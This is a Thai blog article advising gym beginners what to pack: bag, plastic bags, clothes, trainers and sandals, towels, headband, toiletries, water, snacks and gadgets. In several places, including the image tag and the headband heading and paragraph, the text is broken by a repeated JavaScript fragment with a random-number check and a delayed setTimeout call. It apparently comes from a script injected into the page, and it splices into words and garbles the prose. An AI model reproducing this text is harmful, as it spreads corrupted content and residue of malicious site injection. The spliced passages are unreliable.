ของมันต้องมี… ไปยิมต้องพกอะไรไปบ้าง

ตามสไตล์เดิมไม่ว่าจะช่วงหลังหยุดยาว ยิมจะมีเมมเบอร์ใหม่เยอะมากขึ้น…เรียกว่าได้เวลาชดใช้กรรม (เบริ์นไขมันที่สะสมมาหลายวัน) กันอีกครั้ง สำหรับมือเก๋าคงไม่ต้องห่วงว่าจะต้องเตรียมตัวเตรียมอุปกรณ์อะไรบ้าง แต่สำหรับมือใหม่หัดเข้ายิม อุปกรณ์อะไรบ้างต้องเตรียมไป ไปยิมต้องพกอะไรไปบ้าง วันนี้เรามาเรียนรู้ไปด้วยกันครับ

กระเป๋าใส่อุปกรณ์

หนึ่งในอุปกรณ์ชิ้นแรกที่ต้องมี จะเลือกแบบไหนก็ขึ้นอยู่กับแบบสไตล์ที่ชอบ ปกติกระเป๋าที่ใช้กันก็จะเป็นแบบ Backpack, Duffle bag หรือตรงๆ เลยก็ Gym bag แต่แนะนำว่าควรจะมีช่องแยกสองถึงสามชั้นขึ้นไป เพราะจะสามารถใส่รองเท้า เสื้อผ้าที่ใช้แล้วและช่องใส่เสื้อแห้งสำหรับผลัดเปลี่ยน รวมไปถึงช่องใส่อุปกรณ์ทำความสะอาด เครื่องใช้ส่วนตัว อุปกรณ์อิเล็กโทรนิค เป็นต้น

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard.jpg” alt=”ของมันต้องมี… ไปยิมต้องพกอะไรไปบ้าง” width=”840″ height=”840″ />

ถุงพลาสติก

ถุงพลาสติกมีประโยชน์มาก สำหรับเอาไว้ใส่รองเท้าก่อนใส่ลงกระเป๋าช่วยป้องกันสิ่งสกปรกและสำหรับใส่เสื้อผ้าที่ผ่านการใช้งานแล้วที่ชุ่มไปด้วยน้ำและคราบเหงื่อ ช่วยป้องกันไม่ให้กลิ่นและเหงื่อไหลปะปนกับเสื้อผ้าชุดใหม่ที่ใช้ใส่ผลัดเปลี่ยนหลังจบกิจกรรมแล้ว นอกจากนี้ยังสามารถใส่อุปกรณ์ทำความสะอาดร่างกาย ป้องกันการหกไหลเทออกของแชมพูหรือสบู่เหลว

ชุดเสื้อผ้า

ชุดเสื้อผ้าสำหรับเข้ายิมจะประกอบไปด้วย 2 ชุดหลักๆ คือ หนึ่งชุดปฏิบัติการสำหรับใช้ออกกำลังกาย และสองคือ ชุดแห้งสำหรับผลัดเปลี่ยน

รองเท้า

รองเท้าและถุงเท้าก็เป็นเรื่องที่ขาดไม่ได้ สำหรับการเข้าออกกำลังกายที่โรงยิมแนะนำให้เลือกรองเท้าที่เป็นประเภท Trainer เพราะการฝึกในยิมจะเป็นการเคลื่อนไหวรอบทิศทาง รองเท้าแบบ Trainer จะออกแบบมาเหมาะสมกับงานมากกว่า แต่สำหรับรองเท้าวิ่งจะยกเท้าเราเอนไปข้างหน้าสำหรับวิ่งพุ่งไปข้างหน้า ด้านข้างจึงไม่มีการซัฟฟอร์ต แต่ถ้าต้องการวิ่งบนลู่วิ่งก็แนะนำให้หารองเท้าวิ่งมาเปลี่ยนอีกคู่ครับ

และอีกหนึ่งคู่ที่ไม่ใช่รองเท้าออกกำลังกาย คือรองเท้าแตะ เอาไว้ใส่หลังจบการออกกำลังกาย หรือใส่ตั้งแต่ช่วงอาบน้ำ เลือกเป็นพลาสิตกนะครับ จะได้แห้งเร็วๆ ไม่อับเท้าเวลาเปียก

ผ้าขนหนู

ผ้าขนหนู ควรมี 2 ขนาด สำหรับใช้ซัพเหงื่อขณะออกกำลังกาย และอีกผื่นสำหรับใช้อาบน้ำ สำหรับใครที่ยกเหล็กเล่นเวทเป็นประจำ เจ้าหน้าที่ที่ยิมจะแขวนผ้าขนหนูไว้ที่อุปกรณ์ออกกำลังกายอีกผื่นหนึ่งสำหรับใช้เช็คทำความสะอาดหลังเล่น และถือว่าเป็นมารยาท เล่นแล้วต้องเช็คทำความสะอาด ให้คนใช้ต่อไปสบายใจ ไม่ต้องเจอกับคราบน้ำคราบเหงื่อ

หมวก หรือ Head bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and

หมวกหรือ Head bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and อันนี้เป็นออฟชั่นเสริม สำหรับเอาไว้กันเหงื่อไหลเข้าตา โดยเฉพาะคุณผู้หญิงจะได้เอาไว้รัดผมให้อยู่เป็นที่เป็นทางเวลาออกกำลังกาย

ชุดทำความสะอาดร่างกาย

ชุดทำความสะอาดร่างกาย มีตั้งแต่สบู่ โฟมล้างหน้า น้ำหอมและชมพูสระผม แนะนำว่าให้เลือกเป็นแบบสบู่เหลว สบู่เป็นก้อนจะจัดเก็บยากเปียกเลอะถุงพลาสติกด้วย อุปกรณ์ทำความสะอาดควรจัดเก็บใส่ถุงพลาสติกแยกออกต่างหากจาก ช่องใส่เสื้อผ้านะครับ เวลาหกตกแตกจะได้ไม่เลอะเสื้อผ้าเอา

น้ำและอาหารขบเคี้ยว

อุปกรณ์ส่วนตัวที่ควรพกไปเวลาเข้ายิมคือ ขวดน้ำ อย่าลืมใส่น้ำมาด้วยนะครับ ที่โรงยิมอาจจะมีแท็งค์น้ำให้แต่ก็ไม่ได้หมายความว่าแก้วน้ำจะเหลือถึงเราหรือป่าว ยิ่งช่วงออกกำลังกายเราเองก็ไม่อยากเดินไปไหนไกล ฉะนั้นมีขวดน้ำจะช่วยเรารักษาพลังงานและระดับสมดุลน้ำในร่างกายได้ดี สะดวกคล่องตัวหิวเมื่อไหร่ก็ยกดื่มได้เลย

ในส่วนอาหารคบเคี้ยว ก็พยายามเลือกพวกซีเรียลบาร์ หรือที่เรีกว่า บาร์ธัญพืช ที่มีประโยชน์ในเรื่องการให้พลังงานและโปรตีน มากกว่าน้ำตาลธรรมดา สำหรับใช้รองท้องหรือกินหลังออกกำลังกายประทังท้องไปก่อนมื้อหลัก นอกจากนี้ยังมีพวกผลไม้ที่แนะนำด้วย อย่างเช่น กล้วยและแอปเปิล

ดนตรีและเสียงเพลง

ถ้าดนตรีมันอยู่ในสายเลือด ก็อยากลืมพก Smartphone พร้อมหูฟังมาด้วย เราอาจจะต้องพกแบตเตอรี่สำรองไว้ในกระเป๋าด้วยนะครับ ที่เสียบปลั๊กอาจจะไม่พอต่อความต้องการแน่ถ้าทุกคนหวังจะชาร์จแบตที่โรงยิมกันหมด

เพิ่มเติมอีกนิด สำหรับใครที่มี Sport Gadget อย่างนาฬิกาวิ่ง GPS สายวัด Heart Rate หรือ Activity tracker ก็อย่าลืมชาร์จแบตมาด้วย เลือกโหมดการออกกำลังกายให้ถูกประเภทและสนุกกับการออกกำลังกาย อย่าพะวงกับค่าที่อ่านได้มากเกินไปจนเสียสมาธิ